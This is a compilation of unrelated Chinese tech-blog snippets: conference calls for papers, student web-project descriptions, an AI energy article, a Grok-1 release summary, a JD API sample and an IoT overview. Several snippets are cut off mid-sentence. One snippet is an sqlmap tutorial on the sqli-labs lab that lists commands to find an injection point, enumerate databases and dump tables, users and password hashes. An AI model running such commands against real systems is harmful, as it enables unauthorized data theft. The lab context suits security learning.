基于Spring Boot的四川火锅文化网站的设计与实现

摘 要 四川火锅文化网站的目的是让使用者可以更方便的将人、设备和场景更立体的连接在一起。能让用户以更科幻的方式使用产品,体验高科技时代带给人们的方便,同时也能让用户体会到与以往常规产品不同的体验风格。 与安卓,iOS相比较起来,四川火锅文化网站在流畅性,续航能力,等方方面面都有着很大的优势。这就意味着四川火锅文化网站的设计可以比其他系统更为出色的能力,可以更高效的完成最新的火锅文化、火锅菜品、礼品信息等功能。 此系统设计主要采用的是JAVA语言来进行开发,采用Spring Boot框架技术,框架分为三层,分别是控制层Controller,业务处理层Service,持久层dao,能够采用多层次管理开发,对于各个模块设计制作有一定的安全性;数据库方面主要采用的是MySQL来进行开发,其特点是稳定性好,数据库存储容量大,处理能力快等优势;服务器采用的是Tomcat服务,能够提供稳固的运行平台,确保系统稳定运行。通过四川火锅文化网站来提升本课题的各项功能的工作效率,提供了一个多样功能,具有良好实用性的四川火锅文化网站。 关键词:四川火锅文化网站;Spring Boot框架;JAVA语言 Abstract The purpose of Sichuan hotpot Culture Website is to make it easier for users to connect people, equipment and scenes in a more three-dimensional way. It can enable users to use products in a more sci-fi way, experience the convenience brought by the high-tech era, and also let users experience the experience style different from the traditional products. Compared with Android and iOS, Sichuan hotpot cultural website has great advantages in fluency, endurance and other aspects.

华中师范大学伍伦贡联合研究院与南京大学联合主办——第三届人工智能、物联网和云计算技术国际会议(AIoTC 2024)

#先投稿,先送审# 第三届人工智能、物联网和云计算技术国际会议(AIoTC 2024) 2024 3rd International Conference on Artificial Intelligence, Internet of Things and Cloud Computing Technology 2024年8月2-4日 | 中国南京 重要信息 大会官网:www.icaiotc.net 接受/拒稿通知:投稿后1周左右 截稿日期:Click 收录检索:EI Compendex,Scopus 投稿/参会事宜可直接联系联系会议老师 电话/微信:16782275466 组织单位 主办单位 承办单位 协办单位 山东省可信人工智能生态数据开放创新应用实验室 大会简介 第三届人工智能、物联网与云计算技术国际会议(AIoTC 2024)将于2024年9月13日-15日在中国武汉举行。本次会议由华中师范大学伍伦贡联合研究院与南京大学联合主办、江苏省大数据区块链与智能信息专委会承办、江苏省概率统计学会、江苏省应用统计学会、Sir Forum、南京理工大学、南京审计大学、山东省可信人工智能生态数据开放创新应用实验室协办。本次会议主要围绕“人工智能、物联网和云计算技术”的最新研究展开,旨在荟聚世界各地该领域的专家、学者、研究人员及相关从业人员,分享研究成果,探索热点问题,交流新的经验和技术。我们热烈欢迎相关领域专家学者向AIoTC 2024提交他们的新研究或技术贡献,与来自世界各地的科学家和学者分享宝贵的经验。 组委嘉宾 论文出版 本会议投稿经过2-3位组委会专家严格审核后,最终所录用的论文将由以论文集的形式提交出版,出版后将被EI 、SCOPUS收录。 #首届已完成见刊检索 ◆论文不得少于4页; ◆会议论文模板下载→ 前往“会议资料”栏目下载; ◆会议仅接受全英稿件。如需翻译服务,请联联系会议秘书; ◆会议采用在线方式进行投稿,全程由艾思科蓝进行技术支持。 征稿主题 人工智能 物联网 机器人技术 自然语言处理 机器学习 模式识别 神经网络与支持向量机 模糊控制与系统 人机交互 网络安全 专家系统 数据挖掘 智能控制和决策 知识发现 智能系统和语言 机器感知 计算机视觉 进化计算 信息检索和网络搜索 自适应系统

1天消耗超过50万度电力,AI大模型有多耗能?

Sora问世后,人类又要完了充上热搜。 在巨大的焦虑冲击之后,耗能的问题逐渐获得关注。 事实上,Sam Altman 宣布 OpenAI 启动“造芯”计划,因为目前 OpenAI 每天生成约 1000 亿个单词,需要大量的 GPU(图形处理器)芯片进行训练计算。 他希望筹得 7 万亿美元。 这个天文数字,不仅相当于全球 GDP 的 10%,等同于 2.5 个微软、3.75 个谷歌、4 个英伟达、7 个 Meta,以及 11.5 个特斯拉的市值。 目前,人工智能公司很少公开谈论大模型的训练成本,但相关研究估计这些模型的训练成本可高达数百亿美元。斯坦福大学发布的《2023年人工智能指数报告》,基于已有大模型披露的硬件和训练时间,对其训练成本进行了估算。 2019年,OpenAI发布的大语言模型GPT-2参数量为15亿,它的训练成本约为5万美元左右;到了2020年,训练1750亿参数量的GPT-3的费用大概是180万美元。GPT-3比GPT-2的参数量扩大了117倍,其训练费用也增加了36倍。大型语言和多模态模型如“吞金兽一般”,变得越来越大,也越来越贵。 生成式AI多耗能:ChatGPT日耗电量超50万度 训练大模型需要大量的能源,比传统的数据中心要消耗更多的电力。OpenAI曾发布报告指出,自2012年以来,AI训练应用的电力需求每3到4个月就会翻一倍。华为AI 首席科学家田奇也曾给出数据,AI算力在过去10年至少增长了40万倍。AI大模型可谓是“耗电巨兽”。 研究显示,训练谷歌于2022年发布的大语言模型PaLM需要消耗3436兆瓦时的电量,约等于11.8万美国普通家庭日耗电量(美国普通家庭日均耗电量约为29千瓦时);就算训练参数量为3.4亿的BERT模型,也需要消耗1.5兆瓦时的电量,相当于观看1875小时的流媒体。 据了解,AI服务器和芯片是产生能耗最主要的地方。通用型服务器只需要2颗800W服务器电源,而AI服务器则需要4颗1800W高功率电源,AI服务器对于电源的需求大大提升。荷兰一位学者表示,到2027年,新制造的人工智能设备的用电量将与荷兰、瑞典、阿根廷等国的用电量一样。 除了耗电,由于算力设备的冷却需求,AI消耗的水资源数量也惊人。 谷歌环境报告显示,2022年谷歌的用水量达到了56亿加仑水(约212亿升水),相当于8500个奥运会规格的游泳池,这些水被用来为该公司的数据中心散热。 不仅如此,在微软的美国数据中心训练GPT-3使用的水量相当于填满一个核反应堆的冷却塔所需的水量,大约70万升。而用户在使用生成式AI工具时也需要耗水。研究显示,ChatGPT每与用户交流25-50个问题,就可消耗500毫升的水。研究人员预计,到2027年,全球范围内的AI需求可能会需要消耗掉66亿立方米的水资源,几乎相当于美国华盛顿州全年的取水量。 除了消耗大量的电力和水资源,AI大模型还是碳排放大户。斯坦福大学报告显示,OpenAI的GPT-3模型在训练期间释放了502公吨碳,是目前大模型中有据可查耗能最严重的,它的碳排放量是Gopher模型的1.4倍, 是BLOOM模型的20.1倍,约等于8辆普通汽油乘用车一生的碳排放量,人均91年的碳排放量。 随着科技日新月异,未来AI大模型会层出不穷。不可否认的是,生成式AI的出现给社会生活带来了巨大的助力,但AI给人类带来效率提升的同时也可能引发能源危机。所以,科技巨头们还需从算法和模型优化、硬件优化、训练和计算技巧等方面入手,让AI功耗在一定程度上降低。

【IEEE会议征稿通知】第七届计算机信息科学与应用技术国际学术会议(CISAT 2024)

【IEEE出版】第七届计算机信息科学与应用技术国际学术会议(CISAT 2024) 2024 7th International Conference on Computer Information Science and Application Technology 第七届计算机信息科学与应用技术国际学术会议(CISAT 2024)定于2024年7月12-14日在中国杭州召开,会议由浙江工业大学主办、浙江工业大学计算机科学与技术学院承办。会议旨在为从事计算机信息科学和应用技术研究的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术,了解学术发展趋势,拓宽研究思路,加强学术研究和探讨,促进学术成果产业化合作的平台。大会诚邀国内外高校、科研机构专家、学者,企业界人士及其他相关人员参会交流。 重要信息 大会官网:​ www.cisat.org ​(点击参会/投稿/了解会议详情) 大会时间:2024年7月12-14日 大会地点:中国-杭州 接受/拒稿通知:投稿后1周内 收录检索:IEEE Xplore, EI Compendex,Scopus 组织单位 主办单位 浙江工业大学 承办单位 浙江工业大学计算机科学与技术学院 报告嘉宾 韩光洁 教授 IEEE Fellow 河海大学 邱铁 教授 天津大学 宁兆龙 教授 重庆邮电大学 迪帕克·库马尔·贾因(Deepak Kumar Jain)副教授 大连理工大学 征稿主题 1. 计算机工程 2. 信息科学 3. 软件技术 4. 智能系统 5. 图像处理 6. 控制技术 7.工业工程 8. 电子工程学 9. 应用技术 论文出版 CISAT 2024所有的投稿都必须经过2-3位组委会专家审稿,经过严格的审稿之后,最终所有录用的论文将由IEEE出版(ISBN: 979-8-3503-7510-7),见刊后由出版社提交至IEEE Xplore, EI, Scopus检索。

【EI会议征稿通知】第四届自动化控制、算法与智能仿生学术会议(ACAIB 2024)

第四届自动化控制、算法与智能仿生学术会议(ACAIB 2024) 2024 4th Conference on Automation Control, Algorithm and Intelligent Bionics 第四届自动化控制、算法与智能仿生学术会议(ACAIB 2024)将于2024年6月7日-9日在中国银川举行。 本届大会由北方民族大学主办,北方民族大学数学与信息科学学院、哈尔滨理工大学自动化学院承办。会议旨在为从事“自动化控制”、“算法”与“智能仿生”研究的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术,了解学术发展趋势,拓宽研究思路,加强学术研究和探讨,促进学术成果产业化合作的平台。大会诚邀国内外高校、科研机构专家、学者,企业界人士及其他相关人员参会交流。研讨研究方向主要包括:自适应控制、智能系统、控制与应用、建模识别、感知系统、机构设计与应用、图像视频分析、场景分析、人机交互等。 基本信息 会议官网:​ www.acaib.org ​(点击参会/投稿/了解会议详情) 录用通知时间:投稿后7个工作日 会议地点:中国-银川 会议时间:2024年6月7-9日 征稿主题 控制科学工程(线性系统控制、控制集成电路和应用、新兴技术建模和仿真、非线性系统控制、高级控制系统、工程软件工程进展、自动控制系统、自动化和监控系统、电路、电子和微电子、控制和嵌入式系统、机器人系统控制、电子通信工程、计算机软件开发技术、控制、自动化和诊断、容错控制系统、分数阶系统和控制、智能系统控制、机电一体化和机器人系统、工程系统建模、网络和电机、非线性理论和应用、电力电子和控制、可再生能源转换、滑模控制、自动控制原理与技术) 仿生科学与工程(人体仿生、仿生机械、仿生制造、仿生设计和仿生制造系统、智能材料、智能计算、生物力学、医学、机械工程、仿生学原理、机构学理) 视觉科学与工程(传感器检测技术和电机驱动技术、信号和图像处理、人机交互、追踪与监视、生物识别、生物医学图像分析、活动/行为识别、场景分析、模式识别、视觉学习) 算法(数学和计算机模拟、高性能计算、数据结构、先进的数值算法、随机算法、近似算法、组合优化量子计算、并行和分布式算法、图形绘制和图形算法、深度学习算法、大数据搜索算法和系统) 出版信息 所有的投稿都必须经过2-3位组委会专家审稿,经过严格的审稿之后,最终所有录用的论文将由SPIE - The International Society for Optical Engineering (ISSN: 0277-786X)出版,后由出版社提交至EI 和SCOPUS 检索。 SPIE(International Society for Optical Engineering)成立于1955年,会议录汇集了物理、电子与电气工程、计算机与控制工程、信息技术和机械与制造工程等领域的最新研究成果,是国际著名的会议文献出版物。该出版检索快速且稳定,并被各大高校图书馆收录推荐。 ◆ 文章模板下载见官网相关栏目。 ◆ 论文需按照会议官网的模板排版,论文页数不得少于4页。 ◆ 会议仅接受全英稿件。 ◆ 录用付款后,组委会将对稿件进行查重,查重系统为CrossCheck, Turnitin,作者也可自费进行查重。由文章重复率引起的被拒稿将由作者自行承担责任,涉嫌抄袭的论文将不被出版。 往届见刊检索历史 2023年SPIE出版见刊封面EI检索记录SCOPUS检索记录 2022年SPIE出版见刊封面EI检索记录SCOPUS检索记录 参会方式 1、作者参会:一篇录用文章允许一名作者免费参会; 2、主讲嘉宾:申请主题演讲,由组委会审核; 3、口头演讲:申请口头报告,时间为15分钟; 4、海报展示:申请海报展示,A1尺寸,彩色打印; 5、听众参会:不投稿仅参会,也可申请演讲及展示。

【EI会议征稿通知】2024年前沿图像处理技术国际学术会议(AIPT 2024)

2024年前沿图像处理技术国际学术会议(AIPT 2024) 2024 International Conference on Advanced Image Processing Technology (AIPT 2024) 2024年前沿图像处理技术国际学术会议(AIPT 2024)定于2024年5月31日-6月2日在中国·重庆举行。会议主要围绕前沿图像处理技术展开讨论。会议旨在为从事相关研究的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术,了解学术发展趋势,拓宽研究思路,加强学术研究和探讨,促进学术成果产业化合作的平台。大会诚邀国内外高校、科研机构专家、学者,企业界人士及其他相关人员参会交流。 重要信息 大会官网:​ www.icaipt.org ​(点击参会/投稿/了解会议详情) 大会时间:2024年5月31日-6月2日 大会地点:中国·重庆 接受/拒稿通知:投稿后1周内 提交检索:EI Compendex、Scopus、Inspec 会议专家 大会主席 冷璐教授,南昌航空大学,中国 刘斌教授,大连理工大学,中国 技术委员会主席 黄鸿教授,重庆大学,中国 组织委员会主席 秦华锋教授,重庆工商大学,中国 陈雷副教授,山东大学,中国 出版主席 冷璐教授,南昌航空大学,中国 石争浩教授,西安理工大学,中国 主讲嘉宾 冷璐教授,南昌航空大学,中国 刘斌教授,大连理工大学,中国 秦华锋教授,重庆工商大学,中国 征稿主题 图像增强与恢复技术;目标检测与跟踪;图像分割与标注;特征提取与图像识别;图像压缩与编码;三维图像处理与重建;多模态图像融合与配准;图像生成与合成;图像质量评估与校正;图像处理在医学诊断中的应用;视频分析与处理;实时图像处理与嵌入式系统;多媒体图像处理与内容检索;深度学习在图像处理中的应用;图像处理与计算机视觉应用案例研究等 论文出版 (一)会议论文集 所有的投稿论文都必须经过2-3位组委会专家审稿,经过严格的审稿之后,最终所有录用的论文将由会议论文集出版,出版后由出版社提交至 EI Compendex、Inspec、Scopus等数据库收录。 (二)SCI期刊 额外征集优秀论文,按SCI期刊论文要求审稿,推荐至以下SCI期刊发表: Chemosphere (ISSN: 0045-6535, IF: 8.943) Computer & Electrical Engineering (ISSN: 0045-7906, IF: 4.152) 参会方式 1、作者参会:一篇录用文章可有一名作者免费参会,其他作者可另行注册; 2、主讲嘉宾:申请主题演讲,由组委会审核; 3、口头演讲:申请口头报告,时间为15分钟; 4、海报展示:申请海报展示,A1尺寸; 5、听众参会:不投稿仅参会,也可申请演讲及展示

idea 开发serlvet班级通讯录管理系统idea开发mysql数据库web结构计算机java编程layUI框架开发

一、源码特点 idea开发 java servlet 班级通讯录管理系统是一套完善的web设计系统mysql数据库 系统采用serlvet+dao+bean mvc 模式开发,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 servlet 班级管理系统2 二、功能介绍 系统面向管理员和普通用户两类。 a) 管理员可进行用户管理、班级管理、对用户所在班级的通讯录条目管理,对以上各种信息(用户、班级、通讯录条目)进行批量增删改查; b) 普通用户登录后可以查看自己归属的班级的通讯录(权限控制,只能修改、删除自己的记录,对其他的同学的记录内容只能查看)。 系统登录需要session验证并显示用户名;系统要求有退出(退出后session无效)。 系统功能如下: (1)管理员管理:对管理员信息进行添加、删除、修改和查看 (2)班级管理:对班级信息进行添加、删除、修改和查看 (3)用户管理:对用户信息进行添加、删除、修改和查看 (4)通讯录管理:对通讯录信息进行添加、删除、修改和查看 (5)个人信息修改 数据库设计 [表gly] 管理员列属性表格 序号字段名称数据类型长度主键描述1glyidINTEGER11是管理员编号2yhmVARCHAR40否用户名3mmVARCHAR40否密码4xmVARCHAR40否姓名 [表banji] 班级列属性表格 序号字段名称数据类型长度主键描述1bjidINTEGER11是班级编号2bjmcVARCHAR40否班级名称3zyVARCHAR40否专业 [表yonghu] 用户列属性表格 序号字段名称数据类型长度主键描述1yhidINTEGER11是用户编号2yhmVARCHAR40否用户名3mmVARCHAR40否密码4xmVARCHAR40否姓名5xhVARCHAR40否学号6bjVARCHAR40否班级7lxdhVARCHAR40否联系电话 [表txl] 通讯录列属性表格 序号字段名称数据类型长度主键描述1txlidINTEGER11是通讯录编号2xmVARCHAR40否姓名3lxdhVARCHAR40否联系电话4dzVARCHAR40否地址5qqVARCHAR40否QQ6wxVARCHAR40否微信7bjVARCHAR40否班级8yhVARCHAR40否用户 代码设计 private void insertM(HttpServletRequest request, HttpServletResponse response){//班级添加 banjiDao dao=new banjiDao(); banji banji=new banji(); banji.setBjid((String)request.getParameter("keyid")); String bjmc=(String)request.getParameter("bjmc");//班级名称 banji.setBjmc(bjmc); String zy=(String)request.getParameter("zy");//专业 banji.setZy(zy); response.setCharacterEncoding("gb2312");//设置字符集 仿制乱码 try { dao.insert(banji); request.setAttribute("flag", "操作成功"); request.getRequestDispatcher("banji/banjiadd.jsp").forward(request, response); } catch (Exception e) { e.

一个可以查看各个Android版本源代码的完整网站

现在可以查看Android源码的网站应该有很多,这里分享前面几天看到的一个。 比较好的一个点就是,Android历史的各个版本都能看到。 不好的点就是,好像没看到哪里有搜索文件的入口,这也就意味着,你得知道需要找的文件的路径。 各个Kerenel版本也是有的。 网站地址: https://www.androidos.net.cn/sourcecode 转自:一个可以查看各个Android版本源代码的完整网站

【早鸟优惠|高录用|EI稳定检索】2024年虚拟现实、图像和信号处理国际学术会议(ICVISP 2024)诚邀投稿/参会!

【早鸟优惠|高录用|EI稳定检索】 2024年虚拟现实、图像和信号处理国际学术会议(ICVISP 2024)诚邀投稿/参会! # 早鸟优惠 # 先投稿先送审 # #投稿免费参会、口头汇报及海报展示# 2024年虚拟现实、图像和信号处理国际学术会议(ICVISP 2024) 2024 International Conference on Virtual Reality, Image and Signal Processing(ICVISP 2024) 会议基本信息 会议时间:2024年8月2 -4日 会议地点:中国-厦门 大会官网:www.icvisp.net 一轮截稿:2024年5月9日(早鸟价) 录用通知:投稿后1周内 收录检索:EI Compendex,Scopus 投稿链接:https://www.ais.cn/attendees/paperSubmit/ZMQ2YJ 参会链接:https://www.ais.cn/attendees/toSignUp/ZMQ2YJ 论文模板:https://www.ais.cn/attendees/material/ZMQ2YJ 大会简介 2024年虚拟现实、图像和信号处理国际学术会议(ICVISP 2024)将于2024年8月2-4日在中国厦门召开。ICVISP 2024将围绕“虚拟现实、图像和信号处理”的最新研究领域,为来自国内外高等院校、科学研究所、企事业单位的专家、教授、学者、工程师等提供一个分享专业经验,扩大专业网络,面对面交流新思想以及展示研究成果的国际平台,探讨本领域发展所面临的关键性挑战问题和研究方向,以期推动该领域理论、技术在高校和企业的发展和应用,也为参会者建立业务或研究上的联系以及寻找未来事业上的全球合作伙伴。 欢迎广大专家、学者踊跃投稿。在此,我们向您发出诚挚的邀请,希望与您在厦门相会! 征稿主题 虚拟现实 信号处理 图像处理 系统组件 虚拟现实平台 用于VR/AR的AI平台 数据和生成、操作、分析和验证 浸入式环境和虚拟世界的生成/优化和现实的渲染等 信号处理与检测 雷达和声纳信号处理 通信信号处理 音频和声音信号处理 传感器阵列和多通道信号处理 多媒体信号处理 语音和语言处理 计算机视觉和机器人技术的信号处理 通过图形和网络进行信号处理 非线性信号处理 统计信号处理 电力系统的信号处理 信号处理系统的设计/实现 图像增强与复原 计算机视觉与目标检测 图像分割与区域识别 深度学习与神经网络 医学图像处理 远程感知与地理信息系统 图像编码与压缩 图像合成与虚拟现实

SQL注入之sqlmap入门教程_sqlmap注入

原来sql注入如此简单 以SQL注入靶场sqli-labs第一关为例,进行sqlmap工具的使用分享。 一、判断是否存在注入点 使用命令: 使用命令:sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” 有图中白色背景的 则判断出有注入点 二、查询当前用户下所有数据库 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” --dbs 可以看到有五个表 三、获取数据库中的表名 选取一个challenges数据库,获取此库的表名 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges --tables 四、获取表中的字段名 选取表T5M0QG6FM2,获取其中字段名 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges -T T5M0QG6FM2 –columns 五、获取字段内容 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” -D challenges -T T5M0QG6FM2 --columns –dump 六、获取数据库的所有用户 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” –users 使用该命令就可以列出所有管理用户 七、获取数据库用户的密码 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” –passwords 八、获取当前网站数据库的名称 使用命令: sqlmap -u “http://49.232.78.252:83/Less-1/?id=1” --current-db 可以看到当前的数据库是 security 九、获取当前网站数据库的用户名称 使用命令:

电商数据API接口开发一键接入京东api接口item_review-获得京东JD商品评论演示

要接入京东API接口获取商品评论,首先需要在开放平台注册一个账号并创建应用。创建应用后,你会得到Api Key和Api Secret,这两个参数将用于调用API接口。 接下来,你需要选择一个合适的京东API接口,例如jd.item.get(获取单个商品的详细信息),这个接口可以获取到商品评论的相关信息。 以下是一个使用Python调用京东API接口的示例代码: # coding:utf-8 """ Compatible for python2.x and python3.x requirement: pip install requests """ from __future__ import print_function import requests # 请求示例 url 默认请求参数已经做URL编码 url = "https://item_review/?key=<您自己的apiKey>&secret=<您自己的apiSecret>&num_iid=71619129750&page=1" headers = { "Accept-Encoding": "gzip", "Connection": "close" } if __name__ == "__main__": r = requests.get(url, headers=headers) json_obj = r.json() print(json_obj) 响应示例 { "items": { "totalpage": "100", "total_results": "0", "page_size": 10, "page": "1", "item": [ { "rate_content": "鞋子的版型很好看,价格也很便宜,穿上舒适透气,非常的喜欢,值得购买", "rate_date": "

​​​​​​​【IEEE列表会议|大咖云集】沈阳航空航天大学主办,几十位重磅专家的NGDN 2024诚邀您4月沈阳相聚!

【IEEE列表会议|大咖云集】 沈阳航空航天大学主办,几十位重磅专家的NGDN 2024诚邀您4月沈阳相聚! 基于前几届在英国埃克塞特 (ISPA 2020) 、中国沈阳 (TrustCom 2021) 和中国武汉 (IEEETrustCom-2022)成功举办的经验,第六届下一代数据驱动网络国际会议(NGDN 2024)将于2024年4月26日至28日在中国沈阳举行。 大会已邀请IEEE Fellow、CCF会士等几十位专家现场出席(仍在持续邀请中),现热诚邀请各专家学者投稿和参会交流,共享学术盛宴。 NGDN2024由IEEE CS支持,已纳入IEEE官方列表。大会由沈阳航空航天大学主办,电子科技大学、中国联通研究院协办,沈阳航空航天大学计算机学院承办,获得东北大学、河海大学、广东省艾思信息化学术交流研究院、AEIC学术交流中心等众多高校院所学术支持。 大会将安排丰富的活动议程,大会报告,高峰论坛、特邀报告,青年学者口头报告等。与此同时,为鼓励交流,大会将评选最佳论文,最佳口头报告,最佳海报展示奖项。详情请访问:www.ngdn.net。 一、组织单位 主办单位:沈阳航空航天大学 协办单位:电子科技大学、中国联通研究院 承办单位:沈阳航空航天大学 计算机学院 支持单位:广东省艾思信息化学术交流研究院、AEIC学术交流中心 技术支持:IEEE计算机协会 二、大会委员会 荣誉主席 Albert Zomaya,IEEE Fellow, University of Sydney, Australia 范纯龙,沈阳航空航天大学计算机学院院长,中国 程新洲,中国联通研究院,中国 Geyong Min,University of Exeter, UK 大会主席 曹建农,IEEE Fellow,香港理工大学,中国香港 Jinjun Chen,IEEE Fellow, Swinburne University of Technology, Australia 韩光洁 教授,IEEE Fellow、IET/AAIA Fellow,河海大学信息科学与工程学院院长,中国 赵亮,沈阳航空航天大学计算机学院副院长,中国 出版主席 陈晨,IEEE高级会员,西安电子科技大学,中国 徐文政,四川大学,中国 刘志,IEEE高级会员,电气通信大学,日本 Stefano Berretti,University of Firenze,意大利 宣传主席 Sotirios Goudos,Aristotle University of Thessaloniki,希腊

xAI 发布 Grok-1 — 最大的开源LLM

xAI 发布 Grok-1 — 最大的开源LLM 图片由 Jim Clyde Monge 提供 埃隆·马斯克(Elon Musk)的人工智能公司xAI在Apache 2.0许可下发布了其3140亿参数的专家混合模型Grok-1的权重和架构。 在此之前,马斯克上周一承诺向公众免费提供格罗克。作为一个一直密切关注人工智能领域发展的人,我不得不说,这是在开放性和可访问性方面向前迈出的一大步。 什么是格罗克? Grok 是一个拥有 3140 亿个参数的庞大语言模型,是目前最大的开源模型。就上下文而言,这是 OpenAI 的 GPT-3 的两倍多,后者在 2020 年发布时被认为是一项突破。 在 X 用户 Andrew Kean Gao 分享的图表中,您可以看到 Grok 的规模与其竞争对手相比有多大。 图片由 Andrew Gao 提供 但 Grok 不仅更大,它还利用了专家混合 (MoE) 架构,使其能够战略性地激活不同任务的参数子集。从理论上讲,与传统的密集模型相比,这使其更加高效和适应性更强。 以下是 Grok-1 版本的摘要 314B 参数 Mixture-of-Experts 模型,其中 25% 的权重在给定令牌上处于活动状态基础模型是在大量文本数据上训练的,没有针对任何特定任务进行微调。 8 位专家(2 位在职) 860 亿个参数 Apache 2.0 许可证纸张:https://x.ai/blog/grok-os产品代码: https://github.com/xai-org/grok-1 如何安装 Grok 有关加载和运行 Grok-1 的说明,请参阅此 GitHub 存储库。将存储库克隆到本地。 图片由 Jim Clyde Monge 提供

javascript:void(0);用法及常见问题解析

javascript:void(0); 是一个常见的 JavaScript 代码片段,通常用于在 HTML 中作为超链接的 href 属性值或者事件处理函数的返回值。下面是关于它的用法和常见问题的解析: 用法: 作为超链接的 href 属性值: <a href="javascript:void(0);">点击这里</a> 这样做的作用是让点击链接时不会发生页面跳转,因为 javascript:void(0); 实际上是一个空操作,不会执行任何实际的 JavaScript 代码。 作为事件处理函数的返回值: <button onclick="doSomething(); return false;">点击这里</button> function doSomething() { // 执行一些操作 } 这里 return false; 的作用是阻止事件的默认行为,比如按钮的点击事件不会导致表单提交或页面跳转。 常见问题解析: 为什么要使用 javascript:void(0);? 在超链接中,如果 href 属性为空字符串或者 #,点击链接时会导致页面回到顶部,而使用 javascript:void(0); 可以避免这种情况发生。在事件处理函数中,使用 return false; 可以防止事件的默认行为,但是如果直接在函数中写 return false;,可能会影响函数的正常执行,所以常与 javascript:void(0); 结合使用。 是否还有其他替代方案? 在超链接中,可以使用 href="#" 或者 href="javascript:;",但是这些方法有时候会导致页面跳转到顶部,而且不够语义化。在事件处理函数中,可以使用 event.preventDefault() 方法来阻止事件的默认行为,但是需要注意兼容性和事件处理的上下文环境。 有什么注意事项? 在现代 Web 开发中,尽量避免使用 javascript:void(0);,而是采用更语义化的方式处理超链接或事件。对于事件处理函数,优先考虑使用 event.preventDefault() 或者更优雅的事件绑定方式(比如通过 JavaScript 给元素添加事件监听器)来处理。 总之,javascript:void(0); 是一个用于临时解决问题或者兼容性考虑的方法,在现代 Web 开发中,推荐使用更加语义化和优雅的方式处理超链接和事件。

关于物联网的技术与概念

什么是嵌入式系统? 嵌入式系统是以应用为中心,以计算机技术为基础,能够根据用户需求(功能、可靠性、成本、体积、功耗、环境等)灵活裁剪软硬件模块的专用计算机系统。它们通常用于特定的任务,具有高度的集成性和优化,以满足特定的性能要求。 嵌入式系统技术是一种集成了硬件和软件的计算系统,旨在为特定任务或应用提供高效、可靠的解决方案。它通常用于嵌入在其他设备或系统中,以完成特定的功能,如家电、汽车、医疗设备等。嵌入式系统技术的发展促进了物联网的兴起。 什么是物联网? 物联网(IoT)是一个由大量互联的设备组成的网络,这些设备能够收集、交换和处理数据。物联网的目标是实现设备间的智能协作,以提高效率、优化资源使用,并为用户提供更好的服务。 嵌入式系统与物联网的关系? 嵌入式系统是物联网的基石。物联网中的智能设备往往依赖于嵌入式系统来执行其核心功能,如数据采集、处理和通信。嵌入式系统为物联网设备提供了必要的硬件和软件支持,使得这些设备能够连接到网络并进行智能化操作。嵌入式系统使得设备能够执行特定的任务,如监测环境、控制机器或提供用户界面。 嵌入式系统与物联网的关系? 嵌入式系统与物联网(IoT)的关系非常紧密。 嵌入式系统在物联网应用中的作用? 在物联网应用中,嵌入式系统的作用主要体现在以下几个方面: 数据采集:嵌入式系统通过传感器收集环境数据。数据处理:嵌入式系统对收集到的数据进行初步处理,如过滤、分析和决策。通信:嵌入式系统通过无线或有线网络将数据发送到云端或其他设备。控制:嵌入式系统可以控制设备执行特定的动作,如调节温度、开关设备等。 物联网网关在物联网应用中的位置与作用? 物联网网关在物联网应用中扮演着至关重要的角色。它通常位于物联网设备和云服务之间,作为通信的桥梁。 物联网网关的主要作用包括: 协议转换:将不同设备使用的通信协议转换为统一的格式,以便数据能够在网络中传输。数据预处理:在数据发送到云端之前,网关可以对数据进行压缩、加密和优化,以减少带宽需求和提高安全性。设备管理:网关可以管理连接到它的设备,包括设备注册、权限控制、状态监控等。广泛的接入能力:物联网网关支持多种通信技术,使得不同类型的设备都能接入网络。 什么是边缘计算? 边缘计算是一种分布式计算架构,其核心思想是将计算、存储和网络带宽服务从中心化的数据中心转移到网络的边缘,即靠近数据源或用户的位置。这样做的目的是为了减少数据传输的延迟,提高响应速度,减轻中心网络的负担,并增强数据处理的实时性和效率。边缘计算特别适用于需要快速响应的应用场景,如物联网(IoT)、自动驾驶、智慧城市等。 嵌入式技术与边缘计算之间存在紧密的关系。 嵌入式系统通常指的是为特定应用场景而设计开发的专用计算机系统,它们通常嵌入在设备或系统中,具有专用的硬件和软件。边缘计算则可以视为嵌入式系统的一个扩展,它不仅包括嵌入式设备,还可能包括更广泛的边缘设备,如智能网关、路由器等。 在边缘计算的架构中,嵌入式系统可以作为边缘节点,直接在设备上或设备附近进行数据的处理和分析,而不是将所有数据发送到远程的云服务器。这样的处理方式可以减少对中心云的依赖,降低延迟,提高数据处理的速度和效率。同时,嵌入式系统在边缘计算中还可以提供本地的存储和决策支持,使得整个系统更加灵活和可靠。 总的来说,边缘计算是一种将计算能力推向网络边缘的技术,而嵌入式技术是边缘计算实现的基础之一。嵌入式系统通过在网络边缘提供计算能力,使得边缘计算能够更有效地处理和分析数据,满足实时性和带宽敏感型应用的需求。 边缘计算(Edge Computing)是一种将计算和数据处理能力移到离数据源或设备更近的地方的计算模型。边缘计算通过在边缘设备或边缘节点上进行数据处理和分析,减少数据传输延迟和网络带宽消耗。嵌入式系统通常被用于实现边缘设备,为边缘计算提供高效的计算和数据处理能力。 物联网与大数据 物联网是指通过互联网连接各种物理对象的系统,这些对象可以是传感器、设备、车辆等,它们通过嵌入式技术收集和传输数据。物联网设备生成的数据量巨大,这些数据通常被称为“大数据”。 物联网与大数据之间的关系可以从以下几个方面理解: 数据源:物联网是大数据的重要来源之一。物联网设备通过传感器实时采集数据,这些数据包括环境监测、设备状态、用户行为等。数据分析:物联网收集的数据需要通过大数据分析技术进行处理和分析,以提取有价值的信息和洞察,支持决策制定。技术整合:物联网技术与大数据分析技术的结合,可以实现对数据的实时监控、处理和优化,从而提高业务效率和创新能力。 物联网与人工智能 物联网和人工智能的关系也是一种相辅相成的关系。物联网设备提供了大量的实时数据,而人工智能技术可以通过分析这些数据来实现智能化的决策和自动化的操作。具体来说: 